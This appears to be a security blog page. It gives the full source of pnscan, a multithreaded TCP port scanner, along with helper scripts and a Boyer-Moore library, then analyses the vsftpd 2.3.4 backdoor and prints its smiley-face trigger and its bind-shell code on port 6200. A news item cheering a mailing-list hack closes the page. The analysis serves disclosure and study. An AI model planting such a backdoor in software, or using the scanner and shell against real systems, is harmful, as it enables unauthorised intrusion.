# If destination is a directory, append the input filename; if your system
# does not like double slashes in filenames, you may need to add some logic

	if [ -d $dst ]
	then
		dst="$dst"/`basename $src`
	else
		true
	fi
fi

## this sed command emulates the dirname command
dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'`

# Make sure that the destination directory exists.
#  this part is taken from Noah Friedman's mkinstalldirs script

# Skip lots of stat calls in the usual case.
if [ ! -d "$dstdir" ]; then
defaultIFS='	
'
IFS="${IFS-${defaultIFS}}"

oIFS="${IFS}"
# Some sh's can't handle IFS=/ for some reason.
IFS='%'
set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'`
IFS="${oIFS}"

pathcomp=''

while [ $# -ne 0 ] ; do
	pathcomp="${pathcomp}${1}"
	shift

	if [ ! -d "${pathcomp}" ] ;
        then
		$mkdirprog "${pathcomp}"
	else
		true
	fi

	pathcomp="${pathcomp}/"
done
fi

if [ x"$dir_arg" != x ]
then
	$doit $instcmd $dst &&

	if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi
else

# If we're going to rename the final executable, determine the name now.

	if [ x"$transformarg" = x ] 
	then
		dstfile=`basename $dst`
	else
		dstfile=`basename $dst $transformbasename | 
			sed $transformarg`$transformbasename
	fi

# don't allow the sed command to completely eliminate the filename

	if [ x"$dstfile" = x ] 
	then
		dstfile=`basename $dst`
	else
		true
	fi

# Make a temp file name in the proper directory.

	dsttmp=$dstdir/#inst.$$#

# Move or copy the file name to the temp name

	$doit $instcmd $src $dsttmp &&

	trap "rm -f ${dsttmp}" 0 &&

# and set any options; do chmod last to preserve setuid bits

# If any of these fail, we abort the whole thing.  If we want to
# ignore errors from any of these, just make sure not to ignore
# errors from the above "$doit $instcmd $src $dsttmp" command.

	if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi &&

# Now rename the file to the real destination.

	$doit $rmcmd -f $dstdir/$dstfile &&
	$doit $mvcmd $dsttmp $dstdir/$dstfile 

fi &&


exit 0

And ‘ipsort’ is a one-line command to sort files using IPv4 addresses like this:

#!/bin/sh
#
# Sort a file using IPv4 addresses in at the beginning of each line
exec sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n "$@"

Next there is a Boyer-Moore string search library (files bm.c and bm.h) with header file:

#ifndef PNSCAN_BM_H
#define PNSCAN_BM_H

#define BM_ASIZE 256 /* Allowed character code values */

typedef struct
{
    int xsize;
    int *bmGs;
    
    int bmBc[BM_ASIZE];
    unsigned char *saved_x;
    int saved_m;

    int icase;
} BM;


extern int
bm_init(BM *bmp,
	unsigned char *x,
	int m,
	int icase);

extern int
bm_search(BM *bmp,
	  unsigned char *y,
	  int n,
	  int (*mfun)(void *buf, int n, int pos));

extern void
bm_destroy(BM *bmp);

#endif

And the main library code is stored in bm.c which is the one below.

/* Boyer-Moore string search as found on the internet using Google */

#include <pthread.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>

#include "bm.h"

#define MAX(a,b) ((a) < (b) ? (b) : (a))



static void
preBmBc(unsigned char *x,
	int m,
	int bmBc[])
{
    int i;
    
    for (i = 0; i < BM_ASIZE; ++i)
	bmBc[i] = m;
    
    for (i = 0; i < m - 1; ++i)
	bmBc[x[i]] = m - i - 1;
}


static void
suffixes(unsigned char *x,
	 int m,
	 int *suff)
{
    int f, g, i;


    f = 0;
    suff[m - 1] = m;
    g = m - 1;
    for (i = m - 2; i >= 0; --i)
    {
	if (i > g && suff[i + m - 1 - f] < i - g)
	    suff[i] = suff[i + m - 1 - f];
	else
	{
	    if (i < g)
		g = i;
	    f = i;
	    while (g >= 0 && x[g] == x[g + m - 1 - f])
		--g;
	    suff[i] = f - g;
	}
    }
}


static int
preBmGs(unsigned char *x, int m, int bmGs[])
{
    int i, j, *suff;


    suff = (int *) calloc(sizeof(int), m);
    if (suff == NULL)
	return -1;
    
    suffixes(x, m, suff);
    
    for (i = 0; i < m; ++i)
	bmGs[i] = m;

    j = 0;
    for (i = m - 1; i >= -1; --i)
	if (i == -1 || suff[i] == i + 1)
	    for (; j < m - 1 - i; ++j)
		if (bmGs[j] == m)
		    bmGs[j] = m - 1 - i;

    for (i = 0; i <= m - 2; ++i)
	bmGs[m - 1 - suff[i]] = m - 1 - i;

    free(suff);
    return 0;
}


int
bm_init(BM *bmp,
	unsigned char *x,
	int m,
	int icase)
{
    int i;


    memset(bmp, 0, sizeof(bmp));

    bmp->icase = icase;
    bmp->bmGs = (int *) calloc(sizeof(int), m);
    if (bmp->bmGs == NULL)
	return -1;
    
    bmp->saved_m = m;
    bmp->saved_x = (unsigned char *) malloc(m);
    if (bmp->saved_x == NULL)
	return -2;
    
    for (i = 0; i < m; i++)
	bmp->saved_x[i] = icase ? tolower(x[i]) : x[i];
    
    /* Preprocessing */
    if (preBmGs(bmp->saved_x, m, bmp->bmGs) < 0)
	return -3;
    
    preBmBc((unsigned char *) bmp->saved_x, m, bmp->bmBc);

    return 0;
}    


void
bm_destroy(BM *bmp)
{
    if (bmp->bmGs)
	free(bmp->bmGs);

    if (bmp->saved_x)
	free(bmp->saved_x);
}



/* Search for matches
**
** If mfun is defined, then call this function for each match.
** If mfun returns anything else but 0 abort the search. If the
** returned value is < 0 then return this value, else return the
** number of matches (so far).
**
** If mfun is NULL then stop at first match and return the position
*/

int
bm_search(BM *bmp,
	  unsigned char *y,
	  int n,
	  int (*mfun)(void *buf, int n, int pos))
{
    int i, j, c;
    int nm = 0;
    

    /* Searching */
    j = 0;
    while (j <= n - bmp->saved_m)
    {
	for (i = bmp->saved_m - 1;
	     i >= 0 && bmp->saved_x[i] == (bmp->icase ? tolower(y[i + j]) : y[i + j]);
	     --i)
	    ;
	
	if (i < 0)
	{
	    if (mfun)
	    {
		++nm;
		
		c = mfun(y, n, j);
		if (c)
		    return (c < 0 ? c : nm);
		
		j += bmp->bmGs[0];
	    }
	    else
		return j;
	}
	else
	{
	    unsigned char c = (bmp->icase ? tolower(y[i + j]) : y[i + j]);

	    j += MAX(bmp->bmGs[i], bmp->bmBc[c] - bmp->saved_m + 1 + i);
	}
    }

    return mfun == NULL ? -1 : nm;
}

#if 0
int
main(int argc,
     char *argv[])
{
    int pos;

    
    bm_setup(argv[1], strlen(argv[1]));

    pos = bm_search(argv[2], strlen(argv[2]));

    printf("Match at pos %d\n", pos);

    exit(0);
}
#endif

And finally we have ‘pnscan.c’ which is a multi-threaded port scanner. Here is its code:


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <poll.h>
#include <netdb.h>
#include <locale.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>

#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>

#include <pthread.h>

#include "bm.h"


#define RESPONSE_MAX_SIZE    1024


extern char version[];

unsigned char *wstr = NULL;
int   wlen = 0;
unsigned char *rstr = NULL;
int   rlen = 0;

int debug = 0;
int verbose = 0;

int stop = 0;

int tworkers = 1;   /* Currently running worker threads */
int mworkers = 1;   /* Peak started concurrent worker threads */
int aworkers = 0;   /* Currently active probing worker threads */
int nworkers = 0;   /* Max concurrent worker threads */

int timeout = 1000; /* ms */
int pr_sym  = 0;
int line_f  = 0;
int use_shutdown = 0;
int maxlen  = 64;


int first_port = 0;
int last_port  = 0;

unsigned long  first_ip = 0x00000000;
unsigned long  last_ip  = 0xFFFFFFFF;

pthread_mutex_t cur_lock;
unsigned long  cur_ip;
int cur_port;

pthread_mutex_t print_lock;

int ignore_case = 0;
BM bmb;
    

void
print_version(FILE *fp)
{
    fprintf(fp, "[PNScan, version %s - %s %s]\n",
	    version,
	    __DATE__, __TIME__);
}


int
get_char_code(unsigned char **cp,
	      int base)
{
    int val = 0;
    int len = 0;
    
    
    while (len < (base == 16 ? 2 : 3) &&
	   ((**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base)) ||
	    (base >= 10 && toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10)))
    {
	val *= base;

	if (**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base))
	    val += **cp - '0';
	else if (base >= 10 &&
		 toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10)
	    val += toupper(**cp) - 'A' + 10;

	++*cp;
	++len;
    }

    return val & 0xFF;
}


int
dehex(unsigned char *str)
{
    unsigned char *wp, *rp;
    int val;


    rp = wp = str;

    while (*rp)
    {
	while (*rp && isspace(* (unsigned char *) rp))
	    ++rp;

	if (*rp == '\0')
	    break;
	
	if (!isxdigit(* (unsigned char *) rp))
	    return -1;
	
	val = get_char_code(&rp, 16);
	*wp++ = val;
    }

    *wp = '\0';
    return wp - str;
}


    
int
deslash(unsigned char *str)
{
    unsigned char *wp, *rp;

    
    rp = wp = str;

    while (*rp)
    {
	if (*rp != '\\')
	    *wp++ = *rp++;
	else
	{
	    switch (*++rp)
	    {
	      case 'n':
		*wp++ = 10;
		++rp;
		break;

	      case 'r':
		*wp++ = 13;
		++rp;
		break;

	      case 't':
		*wp++ = 9;
		++rp;
		break;

	      case 'b':
		*wp++ = 8;
		++rp;
		break;

	      case 'x':
		++rp;
		*wp++ = get_char_code(&rp, 16);
		break;
		
	      case '0':
		*wp++ = get_char_code(&rp, 8);
		break;
		
	      case '1':
	      case '2':
	      case '3':
	      case '4':
	      case '5':
	      case '6':
	      case '7':
	      case '8':
	      case '9':
		*wp++ = get_char_code(&rp, 10);
		break;

	      default:
		*wp++ = *rp++;
		break;
	    }
	}
    }

    *wp = '\0';

    return wp-str;
}



void
print_host(FILE *fp,
	   struct in_addr in,
	   int port)
{
    struct hostent *hep = NULL;

    
    if (pr_sym)
    {
	hep = gethostbyaddr((const char *) &in, sizeof(in), AF_INET);
	fprintf(fp, "%-15s : %-40s : %5d",
		inet_ntoa(in), hep ? hep->h_name : "(unknown)", port);
    }
    else
	fprintf(fp, "%-15s : %5d", inet_ntoa(in), port);
}


int
t_write(int fd,
	unsigned char *buf,
	int len)
{
    int tw, wl, code;
    struct pollfd pfd;


    tw = len;
    while (tw > 0)
    {
	pfd.fd = fd;
	pfd.events = POLLOUT;
	pfd.revents = 0;
	
	while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	    errno = 0;

	if (code == 0)
	{
	    code = -1;
	    errno = ETIMEDOUT;
	}
	
	while ((wl = write(fd, buf, tw)) < 0 && errno == EINTR)
	    ;
	
	if (wl < 0)
	    return wl;

	tw -= wl;
	buf += wl;
    }

    return len;
}


int
t_read(int fd,
       unsigned char *buf,
       int size)
{
    int len, code;
    struct pollfd pfd;


    pfd.fd = fd;
    pfd.events = POLLIN;
    pfd.revents = 0;
    
    while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	errno = 0;
    
    if (code == 0)
    {
	errno = ETIMEDOUT;
	return -1;
    }
    
    while ((len = read(fd, buf, size)) < 0 && errno == EINTR)
	;
    
    return len;
}

int
is_text(unsigned char *cp, int slen)
{
    while (slen > 0 && (isprint(*cp) || *cp == '\0' || *cp == '\t' || *cp == '\n' || *cp == '\r'))
    {
	--slen;
	++cp;
    }

    return slen == 0;
}


int
print_output(unsigned char *str, int slen)
{
    unsigned char *cp = str;
    int len;
    

    len = 0;
    
    if (str == NULL)
    {
	printf("NULL");
	return len;
    }


    if (slen >= 2 && cp[0] == IAC && cp[1] >= xEOF)
    {
	printf("TEL : ");

	while (len < slen && len < maxlen)
	{
	    if (*cp == IAC)
	    {
		++len;
		
		printf("<IAC>");
		switch (*++cp)
		{
		  case 0:
		    return len;

		  case DONT:
		    printf("<DONT>");
		    break;

		  case DO:
		    printf("<DO>");
		    break;

		  case WONT:
		    printf("<WONT>");
		    break;

		  case WILL:
		    printf("<WILL>");
		    break;

		  case SB:
		    printf("<SB>");
		    break;

		  case GA:
		    printf("<GA>");
		    break;

		  case EL:
		    printf("<EL>");
		    break;

		  case EC:
		    printf("<EC>");
		    break;

		  case AYT:
		    printf("<AYT>");
		    break;

		  case AO:
		    printf("<AO>");
		    break;

		  case IP:
		    printf("<IP>");
		    break;

		  case BREAK:
		    printf("<BREAK>");
		    break;

		  case DM:
		    printf("<DM>");
		    break;

		  case NOP:
		    printf("<NOP>");
		    break;

		  case SE:
		    printf("<SE>");
		    break;

		  case EOR:
		    printf("<EOR>");
		    break;

		  case ABORT:
		    printf("<ABORT>");
		    break;

		  case SUSP:
		    printf("<SUSP>");
		    break;
		    
		  case xEOF:
		    printf("<xEOF>");
		    break;

		  default:
		    printf("<0x%02X>", *cp);
		}
	    }
	    
	    else if (isprint(*cp))
		putchar(*cp);
	    
	    else
	    {
		switch (*cp)
		{
		  case '\n':
		    if (line_f)
			return len;

		    printf("\\n");
		    break;
		    
		  case '\r':
		    if (line_f)
			return len;
		    
		    printf("\\r");
		    break;
		    
		  case '\t':
		    printf("\\t");
		    break;

		  case '\0':
		    printf("\\0");
		    break;
		    
		  default:
		    printf("\\x%02X", *cp);
		}
	    }

	    ++len;
	    ++cp;
	}
    }

    else if (is_text(str, slen))
    {
	printf("TXT : ");
    
	while (len < slen && len < maxlen)
	{
	    if (isprint(* (unsigned char *) str))
		putchar(*str);
	    else
		switch (*str)
		{
		  case '\0':
		    printf("\\0");
		    break;
		    
		  case '\n':
		    if (line_f)
			return len;
		    printf("\\n");
		    break;
		    
		  case '\r':
		    if (line_f)
			return len;
		    printf("\\r");
		    break;
		    
		  case '\t':
		    printf("\\t");
		    break;
		    
		  default:
		    printf("\\x%02x", * (unsigned char *) str);
		}

	    ++len;
	    ++str;
	}
    }
    
    else
    {
	printf("HEX :");
	while (len < slen && len < maxlen)
	{
	    printf(" %02x", * (unsigned char *) str);
	    ++len;
	    ++str;
	}
    }

    return len;
}



int
probe(unsigned long addr,
      int port)
{
    int fd, code, len;
    struct sockaddr_in sin;
    unsigned char buf[RESPONSE_MAX_SIZE];
    struct pollfd pfd;
    

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0)
	return -1;

    memset(&sin, 0, sizeof(sin));

    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);

    sin.sin_addr.s_addr = htonl(addr);

    code = fcntl(fd, F_GETFL, 0);
    if (code < 0)
    {
	close(fd);
	return -1;
    }

#ifdef FNDELAY
    code = fcntl(fd, F_SETFL, code|FNDELAY);
#else
    code = fcntl(fd, F_SETFL, code|O_NONBLOCK);
#endif
    if (code < 0)
    {
	close(fd);
	return -1;
    }
    
    while ((code = connect(fd,
			   (struct sockaddr *) &sin, sizeof(sin))) < 0 &&
	   errno == EINTR)
	errno = 0;
    
    if (code < 0 && errno == EINPROGRESS)
    {
	pfd.fd = fd;
	pfd.events = POLLOUT;
	pfd.revents = 0;
	
	while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	    errno = 0;

	if (code == 0)
	{
	    code = -1;
	    errno = ETIMEDOUT;
	}
    }
    
    if (code < 0)
    {
	if (verbose)
	{
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stderr, sin.sin_addr, port);
	    fprintf(stderr, " : ERR : connect() failed: %s\n", strerror(errno));
	    
	    pthread_mutex_unlock(&print_lock);
	}
	
	close(fd);
	return 0;
    }

    if (wstr)
    {
	code = t_write(fd, wstr, wlen);
	if (code < 0)
	{
	    if (verbose)
	    {
		pthread_mutex_lock(&print_lock);
		
		print_host(stderr, sin.sin_addr, port);
		fprintf(stderr, " : ERR : write() failed: %s\n", strerror(errno));
		
		pthread_mutex_unlock(&print_lock);
	    }

	    close(fd);
	    return 0;
	}
    }

    if (use_shutdown)
	shutdown(fd, 1);

    while ((len = t_read(fd, buf, sizeof(buf)-1)) < 0 && errno == EINTR)
	;

    if (len < 0)
    {
	if (verbose)
	{
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stderr, sin.sin_addr, port);
	    fprintf(stderr, " : ERR : read() failed: %s\n", strerror(errno));
	    
	    pthread_mutex_unlock(&print_lock);
	}
	
	close(fd);
	return -1;
    }

    buf[len] = '\0';
	    
    if (rstr)
    {
	int pos;

	pos = bm_search(&bmb, buf, len, NULL);

	if (pos >= 0)
	{
	    if (line_f)
		while (pos > 0 &&
		       !(buf[pos-1] == '\n' || buf[pos-1] == '\r'))
		    --pos;
	    
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stdout, sin.sin_addr, port);
	    printf(" : ");

	    print_output(buf+pos, len-pos);
	    putchar('\n');
	    
	    pthread_mutex_unlock(&print_lock);
	}
    }
    else
    {
	pthread_mutex_lock(&print_lock);
	
	print_host(stdout, sin.sin_addr, port);
	printf(" : ");
	print_output(buf, len);
	putchar('\n');
	
	pthread_mutex_unlock(&print_lock);
    }
    
    close(fd);
    return 1;
}


void *
r_worker(void *arg)
{
    unsigned long addr;
    int port;
    pthread_t tid;
    
    
    pthread_mutex_lock(&cur_lock);
	
    while (!stop)
    {
	if (cur_ip <= last_ip)
	{
	    port = cur_port;
	    addr = cur_ip++;
	}
	else
	{
	    if (cur_port >= last_port)
	    {
		stop = 1;
		break;
	    }
	    
	    port = ++cur_port;
	    addr = cur_ip = first_ip;
	}

	if (aworkers >= tworkers-1 && tworkers < nworkers)
	{
	    ++tworkers;

	    if (pthread_create(&tid, NULL, r_worker, NULL) != 0)
	    {
		--tworkers;
		nworkers = tworkers;
	    }
	    
	    if (tworkers > mworkers)
		mworkers = tworkers;
	}

	++aworkers;
	pthread_mutex_unlock(&cur_lock);

	probe(addr, port);
	
	pthread_mutex_lock(&cur_lock);
	--aworkers;
    }

    --tworkers;
    
    pthread_mutex_unlock(&cur_lock);
    fflush(stdout); 
    return NULL;
}


int
get_host(char *str,
	 unsigned long *ip)
{
    struct hostent *hep;
    unsigned long tip;


    hep = gethostbyname(str);
    if (hep && hep->h_addr_list &&hep->h_addr_list[0])
    {
	tip = * (unsigned long *) (hep->h_addr_list[0]);
	*ip = ntohl(tip);
	return 1;
    }

    return inet_pton(AF_INET, str, ip);
}


int
get_service(char *str,
	    int *pp)
{
    struct servent *sep;


    sep = getservbyname(str, "tcp");
    if (sep)
    {
	*pp = ntohs(sep->s_port);
	return 1;
    }

    if (sscanf(str, "%u", pp) != 1)
	return -1;

    if (*pp < 1 || *pp > 65535)
	return 0;

    return 1;
}

void *
f_worker(void *arg)
{
    unsigned long addr;
    int port, code;
    char buf[1024];
    char *host;
    char *serv;
    char *tokp;
    pthread_t tid;
    
    
    pthread_mutex_lock(&cur_lock);
    
    while (!stop)
    {
	if (fgets(buf, sizeof(buf), stdin) == NULL)
	{
	    if (debug)
		fprintf(stderr, "*** GOT EOF ***\n");
	    
	    stop = 1;
	    break;
	}

	host = strtok_r(buf, " \t\n\r", &tokp);
	serv = strtok_r(NULL, " \t\n\r", &tokp);
	
	if (host == NULL || host[0] == '#')
	    continue;
	
	if (get_host(host, &addr) != 1)
	{
	    if (verbose)
		fprintf(stderr, "%s: invalid host\n", host);
	    continue;
	}
	
	if (serv == NULL)
	{
	    if (first_port == 0)
	    {
		if (verbose)
		    fprintf(stderr, "%s: missing service specification\n",
			    host);
		continue;
	    }

	    port = first_port;
	}
	else
	{
	    code = get_service(serv, &port);
	    if (code != 1)
	    {
		if (verbose)
		    fprintf(stderr, "%s: invalid service (code=%d)\n", serv, code);
		continue;
	    }
	}
	
	if (aworkers >= tworkers-1 && tworkers < nworkers)
	{
	    ++tworkers;
	    
	    if (pthread_create(&tid, NULL, f_worker, NULL) != 0)
	    {
		--tworkers;
		nworkers = tworkers;
	    }

	    if (tworkers > mworkers)
		mworkers = tworkers;
	}

	++aworkers;
	pthread_mutex_unlock(&cur_lock);
	
	probe(addr, port);
	
	pthread_mutex_lock(&cur_lock);
	--aworkers;
    }

    --tworkers;
    
    pthread_mutex_unlock(&cur_lock);
    fflush(stdout); 
    return NULL;
}


char *argv0 = "pnscan";


void
usage(FILE *out)
{
 /*   fprintf(out, "Usage: %s [<options>] [{<CIDR>|<host-range> <port-range>} | <service>]\n", argv0);

   fputs("\n\
This program implements a multithreaded TCP port scanner.\n\
More information may be found at:\n\
\thttp://www.lysator.liu.se/~pen/pnscan\n\
\n\
Command line options:\n", out);
    
    fprintf(out, "\t-h             Display this information.\n");
    fprintf(out, "\t-V             Print version.\n");
    fprintf(out, "\t-v             Be verbose.\n");
    fprintf(out, "\t-d             Print debugging info.\n");
    fprintf(out, "\t-s             Lookup and print hostnames.\n");
    fprintf(out, "\t-i             Ignore case when scanning responses.\n");
    fprintf(out, "\t-S             Enable shutdown mode.\n");
    fprintf(out, "\t-l             Line oriented output.\n");
    fprintf(out, "\t-w<string>     Request string to send.\n");
    fprintf(out, "\t-W<hex list>   Hex coded request string to send.\n");
    fprintf(out, "\t-r<string>     Response string to look for.\n");
    fprintf(out, "\t-R<hex list>   Hex coded response string to look for.\n");
    fprintf(out, "\t-L<length>     Max bytes to print.\n");
    fprintf(out, "\t-t<msecs>      Connect/Write/Read timeout.\n");
    fprintf(out, "\t-n<workers>    Concurrent worker threads limit.\n");
 */

}
    

int
get_network(char *str,
	    unsigned long *np)
{
    struct netent *nep;
    struct in_addr ia;
    

    nep = getnetbyname(str);
    if (nep)
    {
	ia = inet_makeaddr(nep->n_net, 0);
	*np = ntohl(ia.s_addr);
	return 1;
    }

    return inet_pton(AF_INET, str, np);
}


int
get_ip_range(char *str,
	     unsigned long *first_ip,
	     unsigned long *last_ip)
{
    char first[1024], last[1024];
    int len;
    unsigned long ip;
    unsigned long mask = 0;
    

    if (sscanf(str, "%1023[^/ ] / %u", first, &len) == 2)
    {
	/* CIDR */

	if (get_network(first, &ip) != 1 || len < 0 || len > 32)
	    return -1;

	ip = ntohl(ip);
	
	*first_ip = ip+1;

	len = 32-len;
	while (len-- > 0)
	    mask = ((mask << 1)|1);

	*last_ip = (ip|mask)-1;
	return 2;
    }

    switch (sscanf(str, "%1023[^: ] : %1023s", first, last))
    {
      case 1:
	if (get_host(first, first_ip) != 1)
	    return -1;

	*last_ip = *first_ip;
	return 1;

      case 2:
	if (get_host(first, first_ip) != 1)
	    return -1;

	if (get_host(last, last_ip) != 1)
	    return -1;

	return 2;
    }
    
    return -1;
}


int
get_port_range(char *str,
	       int *first_port,
	       int *last_port)
{
    char first[256], last[256];


    switch (sscanf(str, "%255[^: ] : %255s", first, last))
    {
      case 1:
	if (strcmp(first, "all") == 0)
	{
	    *first_port = 1;
	    *last_port  = 65535;
	    return 2;
	}
	
	if (get_service(first, first_port) != 1)
	    return -1;

	*last_port = *first_port;
	return 1;

      case 2:
	if (get_service(first, first_port) != 1)
	    return -1;

	if (get_service(last, last_port) != 1)
	    return -1;

	return 2;
    }
    
    return -1;
}



void
e_fun(void)
{
    printf("mworkers = %d, tworkers = %d, aworkers = %d, nworkers = %d\n",
	   mworkers, tworkers, aworkers, nworkers);
}


int
main(int argc,
     char *argv[])
{
    int i, j;
    struct rlimit rlb;
    char *arg;
    
    
    argv0 = argv[0];

    setlocale(LC_CTYPE, "");

    first_port = 0;
    last_port = 0;
    
    getrlimit(RLIMIT_NOFILE, &rlb);
    rlb.rlim_cur = rlb.rlim_max;
    setrlimit(RLIMIT_NOFILE, &rlb);

    signal(SIGPIPE, SIG_IGN);
    
    nworkers = rlb.rlim_cur - 8;

    if (nworkers > 1024)
	nworkers = 1024;

    pthread_mutex_init(&cur_lock, NULL);
    pthread_mutex_init(&print_lock, NULL);

    for (i = 1; i < argc && argv[i][0] == '-'; i++)
	for (j = 1; j > 0 && argv[i][j]; ++j)
	    switch (argv[i][j])
	    {
	      case '-':
		++i;
		goto EndOptions;
		
	      case 'V':
		print_version(stdout);
		break;

	      case 'd':
		++debug;
		break;

	      case 'i':
		ignore_case = 1;
		break;
		
	      case 'v':
		++verbose;
		break;
		
	      case 'h':
		usage(stdout);
		exit(0);
		
	      case 'l':
		++line_f;
		break;
		
	      case 's':
		++pr_sym;
		break;
		
	      case 'S':
		++use_shutdown;
		break;
		
	      case 'w':
		if (argv[i][2])
		    wstr = (unsigned char *) strdup(argv[i]+2);
		else
		    wstr = (unsigned char *) strdup(argv[++i]);
		
		wlen = deslash(wstr);
		j = -2;
		break;

	      case 'W':
		if (argv[i][2])
		    wstr = (unsigned char *) strdup(argv[i]+2);
		else
		    wstr = (unsigned char *) strdup(argv[++i]);
		wlen = dehex(wstr);
		j = -2;
		break;
	    
	      case 'R':
		if (argv[i][2])
		    rstr = (unsigned char *) strdup(argv[i]+2);
		else
		    rstr = (unsigned char *) strdup(argv[++i]);
		rlen = dehex(rstr);
		j = -2;
		break;
		
	      case 'r':
		if (argv[i][2])
		    rstr = (unsigned char *) strdup(argv[i]+2);
		else
		    rstr = (unsigned char *) strdup(argv[++i]);
		rlen = deslash(rstr);
		j = -2;
		break;
		
	      case 'L':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &maxlen) != 1)
		{
		    fprintf(stderr, "%s: Invalid length specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      case 't':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &timeout) != 1)
		{
		    fprintf(stderr,
			    "%s: Invalid timeout specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      case 'n':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &nworkers) != 1)
		{
		    fprintf(stderr,
			    "%s: Invalid workers specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      default:
		fprintf(stderr, "%s: unknown command line switch: -%c\n",
			argv[0], argv[i][j]);
		exit(1);
	    }

  EndOptions:

    if (rstr)
    {
	if (bm_init(&bmb, rstr, rlen, ignore_case) < 0)
	{
	    fprintf(stderr, "%s: Failed search string setup: %s\n",
		    argv[0], rstr);
	    exit(1);
	}
    }

    if (debug)
	atexit(e_fun);
	
    if (i == argc || i+1 == argc)
    {
	if (i + 1 == argc)
	    get_service(argv[i], &first_port);
			  
	f_worker(NULL);
	pthread_exit(NULL);
	
	return 1; /* Not reached */
    }

    if (i + 2 != argc)
    {
	fprintf(stderr,
		"%s: Missing or extra argument(s). Use '-h' for help.\n",
		argv[0]);
	exit(1);
    }
    
    if (get_ip_range(argv[i], &first_ip, &last_ip) < 1)
    {
	fprintf(stderr, "%s: Invalid IP address range: %s\n",
		argv[0], argv[i]);
	exit(1);
    }
    
    if (get_port_range(argv[i+1], &first_port, &last_port) < 1)
    {
	fprintf(stderr, "%s: Invalid Port range: %s\n",
		argv[0], argv[i+1]);
	exit(1);
    }
    
    cur_ip = first_ip;
    cur_port = first_port;

    r_worker(NULL);
    pthread_exit(NULL);
    
    return 1; /* Not reached */
}

At last, the version file is this:

char version[] = "1.11";

Written by xorl

February 14, 2012 at 22:32

Posted in hax, linux

vsftpd 2.3.4 Backdoor

with 3 comments

This was a recent discovery by Chris Evans and you can read more details in his blog post available here. Furthermore, you can find information about this incident at The H Open as well as LWN.net websites.

So, the backdoor affects specifically 2.3.4 version of the popular FTP daemon and can be found in str.c file which contains code for handling the string manipulation routines.

int
str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
  static struct mystr s_curr_line_str;
  unsigned int pos = 0;
  while (str_getline(p_str, &s_curr_line_str, &pos))
  {
    if (str_equal(&s_curr_line_str, p_line_str))
    {
      return 1;
    }
    else if((p_str->p_buf[i]==0x3a)
    && (p_str->p_buf[i+1]==0x29))
    {
       vsf_sysutil_extra();
    }
  }
  return 0;
}

Quite obvious. While parsing the received string values, if the string begins with “\x3A\x29″ which in ASCII translates to ‘:)’ (a smiley face), it will invoke vsf_sysutil_extra().

This backdoor function was placed in sysdeputil.c file and looks like this:

int
vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1); 
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  { 
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0); 
  } 
}

It simply opens a new TCP socket listening on port 6200 that will spawn a shell when connected to this port.

So, by using the ‘:)’ as username the attackers were able to trigger this backdoor in vsftpd 2.3.4.

Written by xorl

July 5, 2011 at 03:54

Posted in hax, security

News: Recent Hacks

leave a comment »

Another quick update on the recent hacks and similar news that made it to the public.

vendor-sec Mailing List
Hehe… This is a cute little story that you can read on various sites. For example, check out this CNET article. According to Marcus Meissner (moderator of the list), their private mailing list was being sniffed at least since January 20. Of course, Mr. M. Meissner though it would be polite to let the mailing list members know about his discovery of the compromise by emailing them and then living the backdoored system online. This resulted in getting ultra-pwned by seeing the mailing list getting rm’d (quite expected after his disclosure of the hack). Happily for some people… Tango down! ;P

